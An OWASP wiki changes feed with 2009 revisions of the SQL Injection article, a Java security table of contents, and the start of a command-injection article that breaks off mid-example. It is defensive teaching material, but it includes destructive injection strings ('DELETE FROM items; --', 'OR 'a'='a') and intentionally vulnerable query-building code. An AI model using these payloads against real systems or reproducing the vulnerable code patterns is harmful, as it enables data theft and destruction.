* [http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf An Introduction to SQL Injection Attacks for Oracle Developers] - This also includes recommended defenses.&lt;br /&gt;
* OWASP [[:Category:OWASP_SQLiX_Project | SQLiX Project]] - An SQL Injection Scanner.&lt;br /&gt;
* [http://www.nosec.org/en/pangolin.html Pangolin Amazing SQL INJECTION World] - An Amazing SQL Injection Scanner.&lt;br /&gt;
[[Category:Injection Attack]]&lt;br /&gt;
[[category:Attack]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection&amp;diff=68228</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection&amp;diff=68228"/>
				<updated>2009-08-30T12:09:42Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: /* Example 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
A [[SQL injection]] attack consists of insertion or &amp;quot;injection&amp;quot; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. &lt;br /&gt;
SQL injection attacks are a type of  [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
==Threat Modeling==&lt;br /&gt;
* SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server. &lt;br /&gt;
* SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections. &lt;br /&gt;
* The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.&amp;lt;br&amp;gt;&lt;br /&gt;
See the OWASP [[SQL Injection Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for SQL Injection Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection    (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
SQL injection errors occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a program from an untrusted source. &lt;br /&gt;
# The data used to dynamically construct a SQL query &lt;br /&gt;
&lt;br /&gt;
The main consequences are:&lt;br /&gt;
&lt;br /&gt;
* '''Confidentiality''': Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with [[Glossary#SQL Injection|SQL Injection]] vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''Authentication''': If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.&lt;br /&gt;
&lt;br /&gt;
* '''Authorization''': If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a [[Glossary#SQL Injection|SQL Injection]] vulnerability.&lt;br /&gt;
&lt;br /&gt;
* '''Integrity''': Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a [[Glossary#SQL Injection|SQL Injection]] attack.&lt;br /&gt;
&lt;br /&gt;
== Risk Factors==&lt;br /&gt;
The platform affected can be:&lt;br /&gt;
* Language: SQL&lt;br /&gt;
* Platform: Any (requires interaction with a SQL database)&lt;br /&gt;
&lt;br /&gt;
[[Glossary#SQL Injection|SQL Injection]] has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. &lt;br /&gt;
&lt;br /&gt;
Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
In SQL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select id, firstname, lastname from authors&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If one provided:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Firstname: evil'ex&lt;br /&gt;
Lastname: Newman&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the query string becomes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select id, firstname, lastname from authors where forename = 'evil'ex' and surname ='newman'&lt;br /&gt;
which the database attempts to run as &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Incorrect syntax near al' as the database tried to execute evil. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A safe version of the above SQL statement could be coded in Java as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
String firstname = req.getParameter(&amp;quot;firstname&amp;quot;);&lt;br /&gt;
String lastname = req.getParameter(&amp;quot;lastname&amp;quot;);&lt;br /&gt;
// FIXME: do your own validation to detect attacks&lt;br /&gt;
String query = &amp;quot;SELECT id, firstname, lastname FROM authors WHERE forename = ? and surname = ?&amp;quot;;&lt;br /&gt;
PreparedStatement pstmt = connection.prepareStatement( query );&lt;br /&gt;
pstmt.setString( 1, firstname );&lt;br /&gt;
pstmt.setString( 2, lastname );&lt;br /&gt;
try&lt;br /&gt;
{&lt;br /&gt;
	ResultSet results = pstmt.execute( );&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	string userName = ctx.getAuthenticatedUserName();&lt;br /&gt;
	string query = &amp;quot;SELECT * FROM items WHERE owner = &amp;quot;'&amp;quot; &lt;br /&gt;
					+ userName + &amp;quot;' AND itemname = '&amp;quot;  &lt;br /&gt;
					+ ItemName.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
	sda = new SqlDataAdapter(query, conn);&lt;br /&gt;
	DataTable dt = new DataTable();&lt;br /&gt;
	sda.Fill(dt);&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The query that this code intends to execute follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items&lt;br /&gt;
	WHERE owner = &lt;br /&gt;
	AND itemname = ;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string &amp;quot;name' OR 'a'='a&amp;quot; for itemName, then the query becomes the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items&lt;br /&gt;
	WHERE owner = 'wiley'&lt;br /&gt;
	AND itemname = 'name' OR 'a'='a';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
&lt;br /&gt;
This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string &amp;quot;name'; DELETE FROM items; --&amp;quot; for itemName, then the query becomes the following two queries:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items &lt;br /&gt;
	WHERE owner = 'hacker'&lt;br /&gt;
	AND itemname = 'name';&lt;br /&gt;
&lt;br /&gt;
	DELETE FROM items;&lt;br /&gt;
&lt;br /&gt;
	--'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.&lt;br /&gt;
&lt;br /&gt;
Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string &amp;quot;name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a'&amp;quot;, the following three valid statements will be created:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	SELECT * FROM items &lt;br /&gt;
	WHERE owner = 'hacker'&lt;br /&gt;
	AND itemname = 'name';&lt;br /&gt;
&lt;br /&gt;
	DELETE FROM items;&lt;br /&gt;
&lt;br /&gt;
	SELECT * FROM items WHERE 'a'='a';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:&lt;br /&gt;
&lt;br /&gt;
* Target fields that are not quoted &lt;br /&gt;
* Find ways to bypass the need for certain escaped meta-characters &lt;br /&gt;
* Use stored procedures to hide the injected meta-characters &lt;br /&gt;
&lt;br /&gt;
Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.&lt;br /&gt;
&lt;br /&gt;
Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	procedure get_item (&lt;br /&gt;
		itm_cv IN OUT ItmCurTyp,&lt;br /&gt;
		usr in varchar2,&lt;br /&gt;
		itm in varchar2)&lt;br /&gt;
	is&lt;br /&gt;
		open itm_cv for ' SELECT * FROM items WHERE ' ||&lt;br /&gt;
				'owner = '''|| usr || &lt;br /&gt;
				' AND itemname = ''' || itm || '''';&lt;br /&gt;
	end get_item;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
* [[:Category:Command Execution]] &lt;br /&gt;
* [[Injection problem]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Top 10 2007-Injection Flaws | injection attack]]&lt;br /&gt;
* [[Blind SQL Injection]]&lt;br /&gt;
* [[Code Injection]]&lt;br /&gt;
* [[Double Encoding]]&lt;br /&gt;
* [[Interpreter_Injection#ORM_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[Input Validation]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Static Code Analysis]]&lt;br /&gt;
[[Category:FIXME|this was the text that was here before we added the links. Can it be deleted?&lt;br /&gt;
Avoidance and mitigation &lt;br /&gt;
&lt;br /&gt;
* Requirements specification: A non-SQL style database which is not subject to this flaw may be chosen.&lt;br /&gt;
&lt;br /&gt;
* Implementation: Use vigorous white-list style checking on any user input that may be used in an SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that has been entered in the database may neglect to escape meta-characters before use.&lt;br /&gt;
&lt;br /&gt;
* Image:Advanced Topics on SQL Injection Protection.ppt&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
==References ==&lt;br /&gt;
* [http://www.greensql.net/ GreenSQL Open Source SQL Injection Filter] - An Open Source database firewall used to protect databases from SQL injection attacks.&lt;br /&gt;
* [http://www.net-security.org/dl/articles/IntegrigyIntrotoSQLInjectionAttacks.pdf An Introduction to SQL Injection Attacks for Oracle Developers] - This also includes recommended defenses.&lt;br /&gt;
* OWASP [[:Category:OWASP_SQLiX_Project | SQLiX Project]] - An SQL Injection Scanner.&lt;br /&gt;
* [http://www.nosec.org/en/pangolin.html Pangolin Amazing SQL INJECTION World] - An Amazing SQL Injection Scanner.&lt;br /&gt;
[[Category:Injection Attack]]&lt;br /&gt;
[[category:Attack]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=68136</id>
		<title>OWASP Java Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=68136"/>
				<updated>2009-08-28T01:17:47Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;b&amp;gt;Key:&amp;lt;/b&amp;gt;&lt;br /&gt;
* xx%: Progress status of the paragraph&lt;br /&gt;
* &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;: The paragraph needs a review&lt;br /&gt;
* TD: Paragraph to be assigned&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Architects]]==&lt;br /&gt;
Discuss the security implications of common J2EE architectures.  This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection.  Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.&lt;br /&gt;
  &lt;br /&gt;
Any other security concerns that should be addressed during the design phase should also be mentioned here.&lt;br /&gt;
===Design considerations===&lt;br /&gt;
* Architectural considerations (0%, TD)&lt;br /&gt;
** EJB Middle tier (0%, TD)&lt;br /&gt;
** Web Services Middle tier (0%, TD)&lt;br /&gt;
** Spring Middle tier (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Developers]]==&lt;br /&gt;
=== Noteworthy Frameworks ===&lt;br /&gt;
Discuss important and relevant Java security frameworks that would be useful to architects.  The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.&lt;br /&gt;
&lt;br /&gt;
(0%, Seeking Volunteers)&lt;br /&gt;
*	Cocoon&lt;br /&gt;
*	[[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)&lt;br /&gt;
*	JSecurity&lt;br /&gt;
*	SiteMesh&lt;br /&gt;
*	Spring (0%, Adrian San Juan, TD)&lt;br /&gt;
*	[[Struts]] (0% Jon Forck)&lt;br /&gt;
*	Tapestry&lt;br /&gt;
*	Tiles&lt;br /&gt;
*	Turbine&lt;br /&gt;
*	Webwork&lt;br /&gt;
*	[[Wicket]]&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics===&lt;br /&gt;
Provide an introduction into the basic security services provided by the Java language and environment.  Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.&lt;br /&gt;
* Class Loading (0%, Philippe Clairet)&lt;br /&gt;
* Bytecode verifier (0%, Philippe Clairet)&lt;br /&gt;
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)&lt;br /&gt;
&lt;br /&gt;
===Input Validation Overview ===&lt;br /&gt;
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. &lt;br /&gt;
&lt;br /&gt;
===Input Validation ===&lt;br /&gt;
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)&lt;br /&gt;
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)&lt;br /&gt;
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing SQL Injection in Java]] ====&lt;br /&gt;
* Overview &lt;br /&gt;
* Prevention (60%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis (60%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0&lt;br /&gt;
** JDO&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing LDAP Injection in Java]] ====&lt;br /&gt;
* Overview (100%, Stephen de Vries, Complete)&lt;br /&gt;
* Prevention (100%, Stephen de Vries, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[XPATH Injection]] ====&lt;br /&gt;
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.&lt;br /&gt;
* Overview (0%, TD)&lt;br /&gt;
* Prevention (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==== [[Miscellaneous Injection Attacks]]  ====&lt;br /&gt;
* HTTP Response splitting (0%, TD)&lt;br /&gt;
* [[Command injection in Java]] - Runtime.getRuntime().exec() (100%, Neil Bergman, Review)&lt;br /&gt;
* Regular Expression (regex) Injections (20%)&lt;br /&gt;
&lt;br /&gt;
''' Status '''&lt;br /&gt;
In progress&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* [[Storing credentials]] - (20%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[SSL Best Practices]] - (20%, Philippe Curmin, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Using JCaptcha]] - (100%, Dave Ferguson, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;) &lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)&lt;br /&gt;
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Password length &amp;amp; complexity]] - (100%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
===Session Management ===&lt;br /&gt;
The generic problems and solutions for session management are covered in the Guide.  This section should focus on Java specific examples.&lt;br /&gt;
* Logout (0%, TD)&lt;br /&gt;
* Session Timeout (0%, TD)&lt;br /&gt;
* Absolute Timeout (0%, TD)&lt;br /&gt;
* [[Session Fixation in Java]] (100%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* Terminating sessions (0%, TD)&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
&lt;br /&gt;
===Authorization===&lt;br /&gt;
* [[Declarative v/s Programmatic]] (10%, TD)&lt;br /&gt;
* EJB Authorization (0%, TD)&lt;br /&gt;
* Acegi (0%, TD)&lt;br /&gt;
* JACC (0%, TD)&lt;br /&gt;
* Check horizontal privilege (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Encryption===&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* Storing db secrets (0%, TD)&lt;br /&gt;
* Encrypting JDBC connections (0%, TD)&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Logging - why log? what to log? log4j, etc. (0%, TD)&lt;br /&gt;
* Exception handling techniques (0%, TD)&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks (50%, TD)&lt;br /&gt;
** Servlet spec - web.xml &lt;br /&gt;
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)&lt;br /&gt;
** JSP errorPage (0%, TD)&lt;br /&gt;
* Web application forensics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML (0%, TD)&lt;br /&gt;
* (X)WS-Security (0%, TD)&lt;br /&gt;
* SunJWSDP (0%, TD)&lt;br /&gt;
* WSS4J (0%, Eelco Klaver)&lt;br /&gt;
* XML Signature (JSR 105) (0%, TD)&lt;br /&gt;
* XML Encryption (JSR 106) (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
The introduction should cover the advantages and short comings of code analysis tools.  An overview of the current state of the art and the available tools would go well here.  As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.&lt;br /&gt;
* Introduction (0%, TD)&lt;br /&gt;
* [[:Category:OWASP LAPSE Project]] (100%, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* FindBugs (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint (0%, TD)&lt;br /&gt;
* Jmetrics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
Practical step-by-step guides to securing various J2EE servers.  Examples of secure configurations can also be provided for download.  If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained.  Users of the configurations should be provided with enough information to make their own risk decisions.&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)&lt;br /&gt;
* Securing JBoss (0%, TD)&lt;br /&gt;
* Securing WebLogic (0%, TD)&lt;br /&gt;
* Securing WebSphere (0%, TD)&lt;br /&gt;
* Others...&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
Practical information on creating a Java security policies for J2EE servers.&lt;br /&gt;
* PolicyTool - JChains already provides this functionality, one policy tool is enough.&lt;br /&gt;
* jChains (www.jchains.org) - (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode manipulation tools and techniques (0%, TD)&lt;br /&gt;
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* Convert bytecode to native machine code (0%, TD)&lt;br /&gt;
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Security Analysts and Testers==&lt;br /&gt;
* Using Eclipse to verify Java applications (0%, TD)&lt;br /&gt;
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)&lt;br /&gt;
* Decompiling Java bytecode (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== [[Java Security Resources]] (ongoing)==&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Command_injection_in_Java&amp;diff=68135</id>
		<title>Command injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Command_injection_in_Java&amp;diff=68135"/>
				<updated>2009-08-28T01:10:34Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application.  The commands execute at the same privilege level as the Java application and provides an attacker with functionality similar to a system shell.  In Java, Runtime.exec is often used to invoke a new process, but it does not invoke a new command shell, which means that chaining or piping multiple commands together does not usually work.  Command injection is still possible if the process spawned with Runtime.exec is a command shell like command.com, cmd.exe, or /bin/sh.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to control the arguments to the Window's ''find'' command.  While the user does have full control over the arguments, it is not possible to inject additional commands.  For example, inputting “test &amp;amp; del file” will not cause the ''del'' command to execute, since Runtime.exec tokenizes the command string and then invokes the ''find'' command using the parameters “test”, “&amp;amp;”, “del”, and “file.”&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		Process proc = runtime.exec(&amp;quot;find&amp;quot; + &amp;quot; &amp;quot; + args[0]);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The code below invokes the system shell in order to execute a non-executable command using user input as parameters.  Non-executable Window's commands such as ''dir'' and ''copy'' are part of the command interpreter and therefore cannot be directly invoked by Runtime.exec.  In this case, command injection is possible and an attacker could chain multiple commands together.  For example, inputting “. &amp;amp; echo hello” will cause the ''dir'' command to list the contents of the current directory and the ''echo'' command to print a friendly message.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
